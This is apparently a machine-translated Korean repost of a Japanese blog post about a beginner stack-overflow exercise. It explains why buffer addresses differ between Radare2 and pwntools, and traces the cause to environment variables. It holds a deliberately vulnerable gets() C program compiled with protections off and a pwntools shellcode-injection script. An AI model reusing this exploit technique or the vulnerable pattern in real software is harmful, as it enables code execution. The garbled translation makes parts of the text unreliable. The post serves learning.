Pwn에 들어가서 Radare2를 쓰면 빠져요.
내가 이 초망라의 Pwn과 입문 기사로 공부하다가 일이 생겼어.
간단할 수 있습니다. 문제는
gets
수신한 로컬 변수를 넘치고 주소를 다시 쓰고 gets를 통해 전달된 창고의 시작 주소로 건너뛰고 셸을 가져오는 코드를 실행해서 케이스를 빼앗는 것입니다.Radare2를 통해 실행할 때와 pwntool을 실행할 때 창고의 주소가 다르다
ASLR 사용 안 함
이 수법을 세우기 위해서는 실행 중인 두 프로그램의 중요한 정보를 알아야 한다.
스토리지
gets
의 결과 스택에 있는 스토리지의 시작 주소전자와 관련해서는 상황에 따라 시행에 따라 달라지기 때문에 사전에 예측하기 어렵다.이를 막기 위해 ASLR(Addresss Space Layout Randomization)이 이번에는 잘못된 환경에서 실행됩니다.
실제로 ASLR이 비활성화되면 Radare에서 몇 번을 실행하든 스택의 시작 주소는 항상 일정한 값입니다.
컴퓨터에서 interactive()를 실행하면 Broken Pipe가 됩니다.
지금까지
r2 -d -A ./vuln
프로그램이 창고의 시작 주소를 가져와 공격용 파이톤 코드에서 그곳의 주소를 지정했습니다.하지만 리턴의 주소가 잘못된 것 같습니다.Segmentation Fault가 발생했습니다.
그래서 나는 아래 C의 코드를 써서 검증했다.
#include <stdio.h>
void unsafe(){
char buffer[300];
printf("%x",buffer);
gets(buffer);
}
void main() {
unsafe();
}
이 파일을 다음과 같이 컴파일합니다.$ gcc source.c -o vuln -fno-pie -no-pie -fno-stack-protector -z execstack -m32
radare로 이것을 분석하면 다음과 같다.0x080491c6
이전된 EBP 레지스터의 0x134 값을 줄이는 것이 이번에 필요한 값이다.ASLR이 비활성화되어 있으므로 Radare2에서 이 값r2 -d -A ./vuln
을 실행하면 항상 같은 값이 나타납니다.그러나 pwntool을 사용하여 다음 코드를 써서 실행하면 매번 같은 값이 나타나지만 Radare2가 실행할 때와 다른 주소가 나타납니다.
from pwn import *
p = process('./vuln')
print(p.clean())
payload = asm(shellcraft.sh())
payload = payload.ljust(312, b'A')
# payload += p32(0xffffc9f4) # <= 今回はまだこれを入れてないのでリターンアドレスは書き換わらない
p.sendline(payload)
p.interactive()
범인은 환경 변수
창고에도 환경 변수와 파라미터가 있다고 해서 실제 원인이 주소가 바뀌었는지 검증했습니다.
$ ./vuln
0xffffcb24
# 別の端末で上のプロセスが実行中に以下を実行
$ cat /proc/<vulnのpid>/environ | wc => 4268文字
$ cat /proc/<vulnのpid>/cmdline => ./vuln
$python ./exploit.py
0xffffc9f4
# 別の端末で上のプロセスが実行中に以下を実行
$ cat /proc/<Pythonの子プロセスのvulnのpid>/environ | wc => 4576文字
$ cat /proc/<Pythonの子プロセスのvulnのpid>/cmdline => ./vuln
확실히 두 가지 집행 방법이 제시한 환경 변수가 다르다.그리고 글자 수의 차이와 주소의 차이를 살펴봅시다.직접 집행
파이썬부터 실행
차등(직접 - Pythhon)
환경 변수의 문자 수
4268자
4576자
-38자
buffer 변수의 시작 주소
0xffffcb24
0xffffc9f4
304byte
이것을 보면 주소의 차이와 환경 변수의 문자열의 차이는 가깝지만 상반되는 것이 아니지만 쌓이면 창고의 시작 주소가 0에 가까운 방향으로 줄어들기 때문에 사실상 옳다.
또한 x86에서 창고는 16byte마다 조준을 해야 한다
304/16 = 19
. 그래서 분할된 방향에서 조준을 했다고 할 수 있다.문외한1) 환경 변수가 없어 실행해 보다
환경 변수가 없으면 같은 주소가 돌아옵니다.
import subprocess
subprocess.run("./vuln",env={}) # <- 環境変数を空にして実行
$ python ./exploit.py
0xffffdd34
$ env - ./vuln # <- 環境変数を一切つけずに実行
0xffffdd34
문외한 2)main에 직접 쓰면 이해하기 쉽다?
만약 C의 코드가 아래와 같이 이렇게 수정된다면 비교적 쉽게 이해할 수 있을 것이다.
#include <stdio.h>
void main() {
char buffer[300];
printf("%x",buffer);
gets(buffer);
}
Radare2에서 본 게 이런 느낌이에요.우선
argv
이 매개 변수로 보충되었고 이것은 창고에 포함될 수 있음을 알 수 있다.가변 길이라 스택보다는 스택을 확보할 수 있을 것 같지만, 이렇게 되면 끝날 때 개방을 염두에 두고 쌓아야 할 것 같다.
Reference
이 문제에 관하여(Pwn에 들어가서 Radare2를 쓰면 빠져요.), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://zenn.dev/kyasbal/articles/fe9ae8e58344f4텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)